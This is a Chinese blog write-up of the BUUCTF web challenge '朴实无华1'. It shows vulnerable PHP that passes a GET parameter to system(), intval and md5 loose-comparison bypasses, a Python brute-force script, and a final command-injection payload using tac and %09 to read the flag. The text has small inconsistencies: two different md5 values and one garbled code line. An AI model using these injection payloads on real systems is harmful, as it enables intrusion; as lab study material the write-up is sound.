BUUCTF WEB 朴实无华1

打开场景,一堆乱码,让我们不要看headers,那不用说了,肯定hint在headers里面,burp抓包,当前页面headers没有啥的
那就扫目录吧,扫出来一个robots.txt,进
有一个fAke_flaaaaag.php,很明显是假的,我们再看headers头还是没有啥有用的
访问/fAke_flaaaaag.php,这次抓包发现一个look at me头,终于发现了正确的flag地址:/fl4g.php
什么,这就满足了?naive!访问下来是一堆源码,代码审计

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?> 

一眼就看到 system($get_flag);那么要到这里该怎么办呢,过三关:

 if(intval($num) < 2020 && intval($num + 1) > 2021)
if ($md5==md5($md5))
str_ireplace("cat", "wctf2020", $get_flag);5($md5))

真的是简单粗暴啊
首先过第一关,intval函数其实是有一个bug的,对于科学计数法表示的字符串形如’2e10’,他会先转字符串再比较,判定他是2
而如果说是’2e10’+1,他会先进行计算,结果是200000…1,当然这跟php版本有关,只在某些特定版本有效,5.5.38有效
然后是第二关,md5加密后和自己的md5值相等,其实和第一关思路差不多。还是因为php的弱类型比较
0e开头,md5加密后还是0e开头,那么我们就认为这两个值相等,这里其实参考了撞库的思想,其他的比如1e和1e相等的数不知道有没有
自己写脚本跑

import hashlib
def run():
    i = 0
    while True:
        text = '0e{}'.format(i)
        m =  hashlib.md5(text.encode('utf-8')).hexdigest()
        print(text,m)
        if m[0:2] == '0e' :
            if m[2:].isdigit():
                print('find it:',text,":",m)
                break
        i +=1
run()

跑出来md5=0e215963017
第三关,str_ireplace(“cat”, “wctf2020”, $get_flag);把cat替换成wctf2020,绕过的就是cat不能用
先ls一下,确定flag的位置,然后绕过cat命令,那其他命令可多了去了,tac,sort。。。随便整一个,或者ca\t也行,总之就是一个绕过,%09绕过空格过滤(PHP常用姿势)
最终payload:num=1e10&md5=0e215962017&get_flag=tac%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
参考视频连接:https://www.bilibili.com/video/BV1u3411x7vs/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值